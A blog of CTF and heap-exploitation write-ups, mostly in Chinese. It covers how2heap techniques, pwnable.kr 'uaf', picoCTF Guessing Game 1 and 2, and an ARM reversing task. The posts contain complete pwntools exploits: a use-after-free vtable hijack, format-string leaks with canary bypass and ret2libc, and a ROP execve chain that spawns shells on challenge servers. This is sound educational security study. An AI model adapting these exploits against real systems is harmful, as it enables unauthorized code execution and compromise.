    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    chunk1_hdr[0] = malloc_size;
    chunk1_hdr[1] &= ~1;

    // 4
    free(chunk1_ptr);

    // 5
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3] = (uint64_t) victim_string;
    chunk0_ptr[0] = 0x4141414142424242LL;
}

代码被划分成5个步骤，具体操作见下图：

第二步伪装了一个fake chunk, 其fd->bk = 0x603010, bk->fd = 0x603010，为了绕过fd->bk != p || bk->fd != p的检查。

第三步更改了chunk1的header信息，使代码认为前一个块是0x80大小的空闲块，导致free(chun1_ptr)时，触发fake_chunk的unlink。

第四步free，最终造成chunk0_ptr指向了0x602058，此时 &chunk0_ptr == chunk0_ptr[3]

第五步尝试改写某块内存数据，chunk0_ptr[3] = &victim_string, 这时chunk0_ptr指向了victim_string 的地址；随后改写chunk0_ptr[0]，导致victim_string内容被更改。

house_of_spirit

主要目的是伪造chunk，绕过free的检查，然后调用malloc使用这块内存。

int main()
{

    // 1
    malloc(1);

    unsigned long long *a;

    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

    // 2
    fake_chunks[1] = 0x40; // this is the size

    // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
    fake_chunks[9] = 0x1234; // nextsize

    // 3
    a = &fake_chunks[2];

    free(a);

    // 4
    fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

代码被划分为4个步骤：

分配一块内存，为了初始化堆

初始化a，以及一个10*8大小的数组fake_chunk
fake_chunk 被划分为两个chunk，第一个chunk的大小0x40，写在chunk头部即 fake_chunks[1]的地址，第二个chunk的大小是0x1234, 写在fake_chunks[9]，因为 0x40/8 = 8，所以向后+8。

这里需要注意的是第二个chunk size要能绕过检查，即 2*SIZE < x < 128kb
a被赋值为fake_chunks[2]的地址，即fake_chunk中第一个chunk的mem指针，随后free。

free完成后fastbin中就多了一个fake_chunk[2]的地址
这步malloc就会将fastbin中的chunk取出使用

poison_null_byte

移除了部分注释，将代码拆解成了14部分

int main()
{
    uint8_t* a;
    uint8_t* b;
    uint8_t* c;
    uint8_t* b1;
    uint8_t* b2;
    uint8_t* d;
    void *barrier;

    // 1
    a = (uint8_t*) malloc(0x100);
    int real_a_size = malloc_usable_size(a);

    // 2
    b = (uint8_t*) malloc(0x200);

    fprintf(stderr, "b: %p\n", b);

    // 3
    c = (uint8_t*) malloc(0x100);
    fprintf(stderr, "c: %p\n", c);

    // 4
    barrier =  malloc(0x100);
    fprintf(stderr, "We allocate a barrier at %p, so that c is not consolidated with the top-chunk when freed.\n"
    "The barrier is not strictly necessary, but makes things less confusing\n", barrier);

    // 5
    uint64_t* b_size_ptr = (uint64_t*)(b - 8);

    // 6
    *(size_t*)(b+0x1f0) = 0x200;

    // 7
    free(b);

    // 8
    a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
    fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);

    // 9
    uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
    fprintf(stderr, "c.prev_size is %#lx\n",*c_prev_size_ptr);

    // 10
    fprintf(stderr, "We will pass the check since chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n",
    *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
    b1 = malloc(0x100);

    // 11
    b2 = malloc(0x80);
    fprintf(stderr, "b2: %p\n",b2);

    memset(b2,'B',0x80);
    fprintf(stderr, "Current b2 content:\n%s\n",b2);

    // 12
    fprintf(stderr, "Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");

    free(b1);
    free(c);

    // 13
    fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2'.\n");
    d = malloc(0x300);
    fprintf(stderr, "d: %p\n",d);

    // 14
    fprintf(stderr, "Now 'd' and 'b2' overlap.\n");
    memset(d,'D',0x300);

    fprintf(stderr, "New b2 content:\n%s\n",b2);

    fprintf(stderr, "Thanks to https://www.contextis.com/resources/white-papers/glibc-adventures-the-forgotten-chunks"
    "for the clear explanation of this technique.\n");
}

a 分配了0x100个字节，并获取了它实际可用大小0x108。用于之后溢出 (off-by-one)
b 分配了0x200个字节，实际0x210
c 分配了0x100个字节，实际0x110
barrie 分配了0x100个字节。用于避免c被合并到topchunk中
b_size_ptr 被赋值为b - 8的地址，即b chunk大小字段地址
b+0x1f0 被赋值为0x200。是为了之后触发unlink(b)的时候绕过chunk_size == next->prev->chunk_size的检查。
```
 #define unlink(AV, P, BK, FD) {                                            \
     if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
     malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \
```
- 因为b的size被覆盖了一个NULL字节，chunk_size(b) == 0x200
- b - 0x10 + 0x200即 b + 0x1f0 理论上就是next_chunk->prev_size字段，所以这里被赋值为0x200
free(b) 即b被加入unsortedBin
a[108] 被赋值为0，即溢出了一个NULL字节，bsize现在等于0x200
c_prev_size_ptr被赋值为c - 2，此时是0x210
b1 分配了0x100个字节，这一步触发了unlink(b)，此时b的前0x100个字节被分配给了b1。理论上来说c_prev_size_ptr指针的值应当会改变，但目前仍然是0x210，因为源码是根据b以及b size的偏移来更改的，所以实际被更改的是c-4的地址的值。
b2 分配了0x80，也是从原先的b chunk中分割出来的，全部用字符’B’填充
释放b1和c。释放c的时候由于prev_size还是0x211，导致c向前合并0x210个字节。而中间的b2被无视了。。
d 分配了0x300字节，指向的是b chunk，大小是size(b + c) 即0x300。此时d和b2已经重叠了。
d被塞满了字符’D’，导致b2内容被更改

作者在代码末尾提到的paper中有张图诠释的很好：

pwnable.kr - uaf (C++)

Wed, 18 Nov 2020 00:00:00 +0000

It’s my first time to pwn with a C++ challenge. So I need to note something here.

ssh uaf@pwnable.kr -p2222 (pw:guest)

Code Review

3 choices:

call the virtual function(introduce) of two objects
allocate a memory chunk with arg1 size then read data from arg2 to fill that
delete two objects

Find the exploitation

As the name tells, the exploit is uaf, so there is a vulnability afte delete two objects.

Our target is call the virtual function: give_shell(), the first choice call the other virtual function, maybe we can cover that function point.

so our plan is:

input 3 to delete two objects
allocate some useful data on the deleted memory with choice 2
reuse freed memory to call the virtual function with choice 1

Solution

If we want to reuse the deleted memory, we need to set the arg1 that equals size of man object. so,

we need to figure out the chunk size of man or Woman objects.

   0x0000000000400ef7 <+51>: lea    r12,[rbp-0x50]
   0x0000000000400efb <+55>: mov    edi,0x18
   0x0000000000400f00 <+60>: call   0x400d90 <_Znwm@plt>

the _Znwm@plt is new function, so 0x18is the object size.

next, wo need to hijacking the virtual function pointer to get_shell. so what about the layout of virtual function address?

the below asm code is calling virtual function:

   0x0000000000400fcd <+265>: mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fd1 <+269>: mov    rax,QWORD PTR [rax]
   0x0000000000400fd4 <+272>: add    rax,0x8
   0x0000000000400fd8 <+276>: mov    rdx,QWORD PTR [rax]
   0x0000000000400fdb <+279>: mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fdf <+283>: mov    rdi,rax
   0x0000000000400fe2 <+286>: call   rdx
   0x0000000000400fe4 <+288>: mov    rax,QWORD PTR [rbp-0x30]
   0x0000000000400fe8 <+292>: mov    rax,QWORD PTR [rax]
   0x0000000000400feb <+295>: add    rax,0x8
   0x0000000000400fef <+299>: mov    rdx,QWORD PTR [rax]
   0x0000000000400ff2 <+302>: mov    rax,QWORD PTR [rbp-0x30]
   0x0000000000400ff6 <+306>: mov    rdi,rax
   0x0000000000400ff9 <+309>: call   rdx

so rdx is function address, the rdx is from [rax], the rax is from [rax] + 8, so the rax contain the pointer to the virtual function table, introduce() is the second pointer because of the offset 8.

the rax is from rbp-0x38, so it’s the pointer of the object.

Let’s see what’s in the rax:

pwndbg> x/2gx $rax
0x401570 <_ZTV3Man+16>: 0x000000000040117a 0x00000000004012d2
pwndbg> x/5i 0x000000000040117a
   0x40117a <_ZN5Human10give_shellEv>: push   rbp
   0x40117b <_ZN5Human10give_shellEv+1>: mov    rbp,rsp
   0x40117e <_ZN5Human10give_shellEv+4>: sub    rsp,0x10
   0x401182 <_ZN5Human10give_shellEv+8>: mov    QWORD PTR [rbp-0x8],rdi
   0x401186 <_ZN5Human10give_shellEv+12>: mov    edi,0x4014a8
pwndbg> x/5i 0x00000000004012d2
   0x4012d2 <_ZN3Man9introduceEv>: push   rbp
   0x4012d3 <_ZN3Man9introduceEv+1>: mov    rbp,rsp
   0x4012d6 <_ZN3Man9introduceEv+4>: sub    rsp,0x10
   0x4012da <_ZN3Man9introduceEv+8>: mov    QWORD PTR [rbp-0x8],rdi
   0x4012de <_ZN3Man9introduceEv+12>: mov    rax,QWORD PTR [rbp-0x8]

As we have seen:

get_shell address: Object->vptr->v1

introduce address: Object->vptr->(v1 + 8)

so we need to cover vptr address that after add 8 equal the address of get_shell(0x401570).

The current address is 0x401570, so we need to fill 0x401570 - 8 = 0x401568

but still a problem:

[*] Switching to interactive mode
[*] Got EOF while reading in interactive

Because the 3rd choice has deleted two objects, however we just allocate one object, the program will crash when executing first choice. so we need to allocate two memory chunks by input 2 twice.

the final exploitation:

from pwn import *

host = 'pwnable.kr'
port = 2222
user = 'uaf'
password = 'guest'
s = ssh(host=host, port=port, 
        user=user, password=password)
context.log_level = 'debug'

payload = p64(0x401568)

p = s.process(["./uaf", "24", "/dev/stdin"])
p.recvuntil('free\n')
p.sendline('3')
p.recvuntil('free\n')
p.sendline('2')
p.send(payload)
p.recvuntil('free\n')
p.sendline('2')
p.send(payload)
p.recvuntil('free\n')
p.sendline('1')
p.interactive()

Finally:

[*] Switching to interactive mode
$ ls
flag  uaf  uaf.cpp
$ cat flag
yay_f1ag_aft3r_pwning

picoCTF - Guessing Game 2

Tue, 10 Nov 2020 00:00:00 +0000

picoCTF - GuessingGame2

Analysis

输入随机数确认成功，输入名字后可以bof

void win() {
 char winner[BUFSIZE];
 printf("New winner!\nName? ");
 gets(winner);
 printf("Congrats: ");
 printf(winner);
 printf("\n\n");
}

这里的printf(winner)存在字符串格式漏洞利用，可以通过类似%n$p的方法来获得找到第n个参数位置保存的值

检查下保护：

[*] '/home/clot/CTF/GuessGame2/vuln'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看到有Canary，那就可以通过字符串格式漏洞来找到这个canary来绕过。

Solution

确认随机数
leak libc里puts的地址，获得libc的基地址，生成system和/bin/sh的地址
leak canary的地址
构造payload来exploit

Random Number

这里的随机数由于服务器和本地libc版本的不同，导致生成的随机数是不同的。

当时在随机数上浪费了很多不该浪费的时间，本来是想过暴力破解，但是觉得好慢，就在考虑是不是有别的办法。

程序中是通过rand的地址来计算的，然后模上了4096，相当于是&0xfff的操作，那我只要知道这个rand在libc里的地址的后三位就可以了。

我通过GuessingGame1获得的shell，上去就是lld --version，当场我就获得了libc-2.27的信息..

然而由于对libc版本命名的不理解，导致两次搞错libc的版本，尝试多次无果后，才用了暴力破解的方法。。最后得出结果是-31。

Leak libc function address

知道结果是-31后其实就知道了rand的在libc里的地址的后三位，通过libc查询网站查到对应的libc版本。

对应的system和str_bin_sh的地址也就都能查到了，还缺一个libc的基地址。

这里通过读取puts的GOT地址，来获得实际地址，可以通过ida或者pwntool获取：elf.got["puts"]，地址为0x08049FDC

然后我们需要通过输入的格式化字符串来读取这个地址里保存的值。先输入名字，通过gdb来观察下栈的布局：

这个断点是在准备printf输入的名字的时候断下的。字符串开头的0x41414141在0xffffce3c距离第一个参数地址0xffffce207个4字节参数的位置，所以我们可以输入puts的GOT地址，然后用%7$.4s的格式化字符串来获取这个地址的值：

  p.recvuntil('guess?\n')
  p.sendline(n)
  p.recvuntil('\nName? ')
  padding = p32(putsGOTAddress)
  padding += b"%7$.4s"
  p.sendline(padding)
  p.recvuntil('Congrats: ')
  data = hex(u32(p.recvline()[-5:-1]))

最后的data便是puts的实际地址，通过以下方法来计算出system和binsh的地址

putsAddress = leakGOTAddress(puts)
baseAddress = int(putsAddress, 16) - libcPusts
systemAddress = baseAddress + systemLibc
binShAddr = baseAddress + binSh

Bypass Canary

依然是用格式化字符串来leak，在ida中可以看到canary的位置：

那么只要计算出这个canary距离我们的printf有多少个参数的距离就可以读取出来了：

pwndbg> x/x $ebp - 0xc
0xffffd03c: 0x0f975a00
pwndbg> p/d (0xffffd03c - 0xffffce20) / 4
$1 = 135

...

pwndbg> c
Continuing.
New winner!
Name? %135$p
Congrats: 0xf975a00

ROP

所需要的条件都已经获取到了，接下来就是拼装payload来ROP了，canary的地方依然放置canary的值，用system的地址覆盖掉返回地址，并在上面放置好参数/bin/sh。需要事先观察好栈的布局。

payload = 512 * b'A' + p32(canary) + p32(0) + p32(0) + p32(0)
payload += p32(systemAddress) + p32(1) + p32(binShAddr)

Exploitation

完整的代码：

from pwn import *

REMOTE = 1
elf = ELF('./vuln')
if REMOTE:
  host = 'jupiter.challenges.picoctf.org'
  port = '15815'
  p = remote(host, port)
  n = '-31'
else:
  p = elf.process()
  libc = ELF("libc223-i386.so")
  n = '-1775'
  gdb.attach(p)

def leakAddressByParaNum(paraNo):
  p.recvuntil('guess?\n')
  p.sendline(n)
  p.recvuntil('\nName? ')
  p.sendline('%' + str(paraNo) + '$p')
  p.recvuntil('Congrats: ')
  p.recv(2)
  data = p.recvuntil('\n\n')
  data = int(data, 16)
  return data

def leakGOTAddress(address):
  p.recvuntil('guess?\n')
  p.sendline(n)
  p.recvuntil('\nName? ')
  padding = p32(address)
  padding += b"%7$.4s"
  p.sendline(padding)
  p.recvuntil('Congrats: ')
  data = hex(u32(p.recvline()[-5:-1]))
  return data

binSh = 0x17bb8f
systemLibc = 0x3cd80
libcPusts = 0x673d0
puts = 0x8049fdc

canary = leakAddressByParaNum(135)
print("canary: " + str(hex(canary)))

putsAddress = leakGOTAddress(puts)
baseAddress = int(putsAddress, 16) - libcPusts
systemAddress = baseAddress + systemLibc
binShAddr = baseAddress + binSh
print("systemAddress: " + hex(systemAddress))

payload = 512 * b'A' + p32(canary) + p32(0) + p32(0) + p32(0)
payload += p32(systemAddress) + p32(1) + p32(binShAddr)

def exploit(payload):
  p.recvuntil('guess?\n')
  p.sendline(n)
  p.recvuntil('\nName? ')
  p.sendline(payload)

exploit(payload)
p.interactive()

[+] Opening connection to jupiter.challenges.picoctf.org on port 15815: Done
[*] '/home/clot/CTF/GuessGame2/libc-2.27.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
canary: 0xe0b2ae00
systemAddress: 0xf7d7fd80
[*] Switching to interactive mode
Congrats: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$ ls
flag.txt
vuln
vuln.c
xinet_startup.sh

picoCTF - Guessing Game 1 (ROP Chain)

Thu, 05 Nov 2020 00:00:00 +0000

Guessing Game 1

这题主要涉及到的是ROP chain的使用，由于没做过这类题所以还是学到不少东西，在这里输出一下。

Code Review

题目有三个文件，分别是源码、执行文件和Makefile，可以看到Makefile里的编译指令开启了这些选项-fno-stack-protector -O0 -no-pie -static，分别是关闭栈保护，无优化，代码位置不会改变，且没有动态库，libc都被静态链接进来了。（调试时候使用题目发的二进制，不要自己编译，因为最后需要nc到服务器上执行，代码地址可能会有变动（嗨，在这吃了亏））

clot@ubuntu:~/CTF/GuessGame1$ ./vuln
Welcome to my guessing game!

What number would you like to guess?
84
Congrats! You win! Your prize is this print statement!

New winner!
Name? Jin
Congrats Jin


What number would you like to guess?

通过执行程序和读源码 vuln.c，理解了大致流程：

猜一个随机数+1后的结果
正确则会要求输入名字
继续猜数字

并发现可利用漏洞位置：

#define BUFSIZE 100

void win() {
 char winner[BUFSIZE];
 printf("New winner!\nName? ");
 fgets(winner, 360, stdin);
 printf("Congrats %s\n\n", winner);
}

这里的BUFSIZE是100，所以栈上只留了100的空间，然而fgets可以读取360个字符，这就可以导致栈溢出，修改return地址了。

整个程序中没有打印flag的地方，也没有执行system('/bin/sh')的地方，需要我们自己拼凑ROPGadget构建。

注意，这个程序是开启了`NXEnable`的，所以栈上的内容是不可执行的，也就说shellcode的方法不能用了

[*] '/home/clot/CTF/GuessGame1/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Solution

主要步骤如下

解决伪随机数
确认字符串长度及覆盖地址
查找到对应的gadget
构建syscall execve函数及参数(因为找不到system函数调用)

伪随机数的问题很好解决，猜对后输入名字，长度足够覆盖到ret地址。通过在运行时观察栈的布局，可以看到ret地址(0x0000000000400d01)在120个字符串之后。(0x7fffffffde28 - 0x7fffffffddb0 = 120)

pwndbg> x/40gx $rsp - 0x70
0x7fffffffdda0: 0x0000000000401a80 0x0000000000400c71
0x7fffffffddb0: 0x4141414141414141 0x000000000049000a
0x7fffffffddc0: 0x00000000006bc0a0 0x00000000006ba018
0x7fffffffddd0: 0x0000000000000000 0x00000000004163b3
0x7fffffffdde0: 0x000000000000001d 0x00000000006ba360
0x7fffffffddf0: 0x00000000004930e8 0x00000000004112c2
0x7fffffffde00: 0x00007fffffffdf88 0x0000000000000054
0x7fffffffde10: 0x0000000000000054 0x0000000100401a80
0x7fffffffde20: 0x00007fffffffde50 0x0000000000400d01
0x7fffffffde30: 0x00007fffffffdf78 0x0000000100401a80

接下来我们要调用syscall，其参数和函数地址都通过ROPGadget来获得。我将gadget全部导入了一个文件中。

$ROPGadget --binary vuln > gadget

syscall的参数：

execve调用号:59 （存放到RAX)
execve的参数: /bin/sh, 0, 0

所以我们需要的寄存器分别是：

RAX: 59  
RDI: 字符串'/bin/sh'的地址  
RSI: 0  
RDX: 0

这样，我们要从gadget中找的东西就明了了:

0x00000000004163f4 : pop rax ; ret
0x0000000000400696 : pop rdi ; ret
0x0000000000410ca3 : pop rsi ; ret
0x000000000044a6b5 : pop rdx ; ret
0x000000000040137c : syscall

问题来了，找不到/bin/sh这个字符串。这玩意也要我们自己来构建了。我们能够用的办法就是调用类似fgets从stdin读取输入的函数，来获取/bin/sh。

fgets函数是找到了，结果这个函数地址是0x4010a10。这里面有一个0a。如果字符串中包含这个字符，传给fgets后是会被截断的。尝试骗过输入后改地址失败后，换用read函数了。。

read地址为：0x44a6a0，没有会被中断的符号。函数需要三个参数，分别是:

rdi: stdin
rsi: &buff
rdx: length

这里的buff存放地址需要自己找一个进程中可读可写的地方，在调试时可以通过vmmap来查看：

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
          0x400000           0x4b7000 r-xp    b7000 0      /home/clot/CTF/GuessGame1/vuln
          0x6b7000           0x6bd000 rw-p     6000 b7000  /home/clot/CTF/GuessGame1/vuln
          0x6bd000           0x6e1000 rw-p    24000 0      [heap]
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000 0      [vvar]
    0x7ffff7ffd000     0x7ffff7fff000 r-xp     2000 0      [vdso]
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

可以看到0x6b7000 ~ 0x6bd000可读可写，从中选了一个位置0x6bc500。

Exploit

基本条件都已经满足了，可以写Exploit了。

ERROR

运行后会发现报错：got eof while reading in interactive，google了下发现可能是某些关键的寄存器被改成不合法的了，调试了下发现，rbp的值被改成了120个A的最后8个改成了41414141414141..，那么再找一个可读可写相对安全的地址给它 0x6ba500，用112个A和这个地址拼凑成120个字符。

完整的exploit:

from pwn import *

host = 'jupiter.challenges.picoctf.org'
port = '50581'
p = remote(host, port)

# Local
#elf = ELF('./vuln')
#p = elf.process()
#gdb.attach(p)

p.recv(1024)
p.sendline('84')
p.recv(1024)

newRBP = 0x6ba500

payload = b'A'*112 + p64(newRBP)
popRAX = 0x4163f4
popRDI = 0x400696
popRSI = 0x410ca3
popRDX = 0x44a6b5
syscall = 0x40137c

read = 0x44a6a0
stdin = 0x6ba580
buff = 0x6bc500

# get string '/bin/sh'
payload += p64(popRDI)
payload += p64(0)
payload += p64(popRSI)
payload += p64(buff)
payload += p64(popRDX)
payload += p64(7)
payload += p64(read)

# syscall - execve('/bin/sh', 0, 0)
payload += p64(popRAX)
payload += p64(59)
payload += p64(popRDI)
payload += p64(buff)
payload += p64(popRSI)
payload += p64(0)
payload += p64(popRDX)
payload += p64(0)
payload += p64(syscall)

p.sendline(payload)
binSh = b'/bin/sh'
p.sendline(binSh)
p.interactive()

运行并成功获取到flag：

clot@ubuntu:~/CTF/GuessGame1$ python3 vuln_expolit.py
[+] Opening connection to jupiter.challenges.picoctf.org on port 50581: Done
[*] Switching to interactive mode
Congrats! You win! Your prize is this print statement!

New winner!
Name? Congrats AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$ ls
flag.txt
vuln
vuln.c
xinet_startup.sh

Reverse Engineering (ARM)

Mon, 26 Oct 2020 00:00:00 +0000

Download : http://pwnable.kr/bin/leg.c
Download : http://pwnable.kr/bin/leg.asm

ssh leg@pwnable.kr -p2222 (pw:guest)

这题主要考一些基本的ARM知识，比较简单。

下载文件可以看到源码c文件和调试时打印的反编译后的内容。源码文件中有三个关键函数是用汇编写的，只要计算出这三个函数的返回值之和就行。

int key1(){
    asm("mov r3, pc\n");
}
int key2(){
    asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code   16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
    );
}
int key3(){
 asm("mov r3, lr\n");
}

要点：

调试时候显示的pc值是将要执行的pc指令地址，但是如果是指令中从pc读取，则读取的是当前指令的下下条指令。比如：

0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0

当执行0x00008cdc语句时，pc的内容实际是0x00008ce4，而非当前的0x00008cdc。

这类是跳入THUMB指令的标识，寄存器值末尾置为1，用BX跳转，切换指令模式

0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6

r11是 fp，类似于ebp, lr指向ret的地址，也就是调用函数返回后执行的下一条指令的地址。这三个函数的返回值(r0)都只是涉及到pc值的读取，so ez.

🌈 JunHoo

PWN - Sice Cream

思路

double free

插入unsorted bin

leak libc

unsorted bin attack + FSOP

获得shell

完整的exploit

执行结果

Heap Exploitation - how2heap - house_of_orange

house_of_orange

unsorted bin attack + FSOP

Reference

Heap Exploitation - how2heap house_of_roman

house_of_roman

Reference

Heap Exploitation - how2heap 3

unosrted_bin_attack

unsoted_bin_into_stack

house_of_force

large_bin_attack

Heap Exploitation - how2heap 2

house_of_lore

overlapping_chunks

overlapping_chunks_2

mmap_overlapping_chunks

house_of_einherjar

Heap Exploitation - how2heap 1

first_fit

calc_tcache_idx

fastbin_dup

fastbin_dup_into_stack

fastbin_dup_consolidate

unsafe_unlink

house_of_spirit

poison_null_byte

pwnable.kr - uaf (C++)

Code Review

Find the exploitation

Solution

picoCTF - Guessing Game 2

Analysis

Solution

Random Number

Leak libc function address

Bypass Canary

ROP

Exploitation

picoCTF - Guessing Game 1 (ROP Chain)

Code Review

注意，这个程序是开启了NXEnable的，所以栈上的内容是不可执行的，也就说shellcode的方法不能用了

Solution

主要步骤如下

Exploit

ERROR

Reverse Engineering (ARM)

注意，这个程序是开启了`NXEnable`的，所以栈上的内容是不可执行的，也就说shellcode的方法不能用了